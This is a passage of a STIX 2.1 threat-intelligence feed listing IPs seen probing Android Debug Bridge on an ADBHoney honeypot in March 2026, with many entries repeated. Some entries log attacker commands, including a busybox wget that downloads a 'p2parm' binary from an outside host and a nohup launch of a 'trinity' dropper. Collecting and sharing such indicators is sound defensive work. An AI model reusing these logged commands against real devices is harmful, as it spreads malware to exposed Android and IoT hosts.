      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=34; ports=5555; cc=DE; asn=24940; asn_org=Hetzner Online GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=34 | first_seen=2026-03-23T12:13:05.000Z | last_seen=2026-03-23T12:24:29.553Z | ports=5555 | cc=DE | asn=24940 | org=Hetzner Online GmbH",
      "id": "indicator--601402f8-330d-498f-9340-d06664810734",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '49.12.82.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:00:02.000Z",
      "valid_until": "2026-04-24T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 34,
          "first_seen": "2026-03-23T12:13:05.000Z",
          "last_seen": "2026-03-23T12:24:29.553Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "24940"
          ],
          "org": [
            "Hetzner Online GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=34; ports=5555; cc=DE; asn=24940; asn_org=Hetzner Online GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=34 | first_seen=2026-03-23T12:13:05.000Z | last_seen=2026-03-23T12:24:29.553Z | ports=5555 | cc=DE | asn=24940 | org=Hetzner Online GmbH",
      "id": "indicator--601402f8-330d-498f-9340-d06664810734",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '49.12.82.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:00:02.000Z",
      "valid_until": "2026-04-24T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 34,
          "first_seen": "2026-03-23T12:13:05.000Z",
          "last_seen": "2026-03-23T12:24:29.553Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "24940"
          ],
          "org": [
            "Hetzner Online GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=58212; asn_org=dataforest GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T13:15:54.000Z | last_seen=2026-03-23T13:16:59.065Z | ports=5555 | cc=DE | asn=58212 | org=dataforest GmbH",
      "id": "indicator--62c13cb7-5791-4275-81e4-aa1d7d657a1d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.96.136.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:00:03.000Z",
      "valid_until": "2026-04-24T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T13:15:54.000Z",
          "last_seen": "2026-03-23T13:16:59.065Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "58212"
          ],
          "org": [
            "dataforest GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-23T14:42:29.000Z | last_seen=2026-03-27T00:29:46.870Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--4907f1c3-17d6-45fe-8d92-59e9df834587",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '1.31.85.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T15:00:03.000Z",
      "valid_until": "2026-04-24T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-23T14:42:29.000Z",
          "last_seen": "2026-03-27T00:29:46.870Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-23T14:34:09.000Z | last_seen=2026-03-23T14:35:25.269Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--da75c319-53a5-4cb0-a26b-d252e5cdfd8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T15:00:03.000Z",
      "valid_until": "2026-04-24T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-23T14:34:09.000Z",
          "last_seen": "2026-03-23T14:35:25.269Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-23T15:47:49.000Z | last_seen=2026-03-23T15:48:50.857Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--99183a38-7a21-4f3f-96b9-9a9fea8b1cb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '139.144.235.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:00:02.000Z",
      "valid_until": "2026-04-24T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-23T15:47:49.000Z",
          "last_seen": "2026-03-23T15:48:50.857Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=26 | first_seen=2026-03-23T15:45:44.000Z | last_seen=2026-03-23T15:57:50.265Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--7f241d26-9aa4-4576-980e-54f358059221",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.118.225.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:00:02.000Z",
      "valid_until": "2026-04-24T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 26,
          "first_seen": "2026-03-23T15:45:44.000Z",
          "last_seen": "2026-03-23T15:57:50.265Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T16:00:38.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-23T15:47:49.000Z | last_seen=2026-03-23T15:48:50.857Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--99183a38-7a21-4f3f-96b9-9a9fea8b1cb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '139.144.235.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:00:38.000Z",
      "valid_until": "2026-04-24T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-23T15:47:49.000Z",
          "last_seen": "2026-03-23T15:48:50.857Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T16:00:38.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=26 | first_seen=2026-03-23T15:45:44.000Z | last_seen=2026-03-23T15:57:50.265Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--7f241d26-9aa4-4576-980e-54f358059221",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.118.225.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:00:38.000Z",
      "valid_until": "2026-04-24T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 26,
          "first_seen": "2026-03-23T15:45:44.000Z",
          "last_seen": "2026-03-23T15:57:50.265Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T21:13:17.000Z | last_seen=2026-03-23T21:14:25.883Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited",
      "id": "indicator--e241fcb7-a1db-405b-9983-09b681f053bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.43.228.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T22:00:02.000Z",
      "valid_until": "2026-04-24T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T21:13:17.000Z",
          "last_seen": "2026-03-23T21:14:25.883Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T21:13:17.000Z | last_seen=2026-03-23T21:14:25.883Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited",
      "id": "indicator--e241fcb7-a1db-405b-9983-09b681f053bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.43.228.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T22:00:02.000Z",
      "valid_until": "2026-04-24T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T21:13:17.000Z",
          "last_seen": "2026-03-23T21:14:25.883Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=200730; asn_org=ISAEV Igor; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T22:53:33.000Z | last_seen=2026-03-23T22:54:36.808Z | ports=5555 | cc=US | asn=200730 | org=ISAEV Igor",
      "id": "indicator--95c0a388-fa22-4033-9a3e-cfdd0f62b2bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:00:02.000Z",
      "valid_until": "2026-04-24T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T22:53:33.000Z",
          "last_seen": "2026-03-23T22:54:36.808Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "200730"
          ],
          "org": [
            "ISAEV Igor"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=200730; asn_org=ISAEV Igor; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-23T22:53:33.000Z | last_seen=2026-03-23T22:54:36.808Z | ports=5555 | cc=US | asn=200730 | org=ISAEV Igor",
      "id": "indicator--95c0a388-fa22-4033-9a3e-cfdd0f62b2bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:00:02.000Z",
      "valid_until": "2026-04-24T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-23T22:53:33.000Z",
          "last_seen": "2026-03-23T22:54:36.808Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "200730"
          ],
          "org": [
            "ISAEV Igor"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=30; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-24T02:54:04.000Z | last_seen=2026-03-24T03:06:08.917Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--25eac691-fc21-4e5b-9b99-d094bc54ebc9",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '221.159.61.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T03:00:03.000Z",
      "valid_until": "2026-04-25T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-24T02:54:04.000Z",
          "last_seen": "2026-03-24T03:06:08.917Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T03:00:46.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=30; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-24T02:54:04.000Z | last_seen=2026-03-24T03:06:08.917Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--25eac691-fc21-4e5b-9b99-d094bc54ebc9",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '221.159.61.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T03:00:46.000Z",
      "valid_until": "2026-04-25T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-24T02:54:04.000Z",
          "last_seen": "2026-03-24T03:06:08.917Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=85; ports=5555; cc=ID; asn=131706; asn_org=PT SELARAS CITRA TERABIT; adb_cmd_hits=2; cmd=\"busybox wget -q http://38.83.138.59:25884/p2parm -O /data/local/tmp/p2parm 2>/dev/null || wget -q http://38.83.138.59:25884/p2parm -O /data/local/tmp/p2parm 2>/\"\n\nObserved in ADBHoney telemetry for 2026-03. events=578 | first_seen=2026-03-24T04:25:20.000Z | last_seen=2026-03-28T20:37:32.248Z | ports=5555 | cc=ID | asn=131706 | org=PT SELARAS CITRA TERABIT",
      "id": "indicator--110e83ac-c2cb-46e1-ad19-af5c241519d1",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
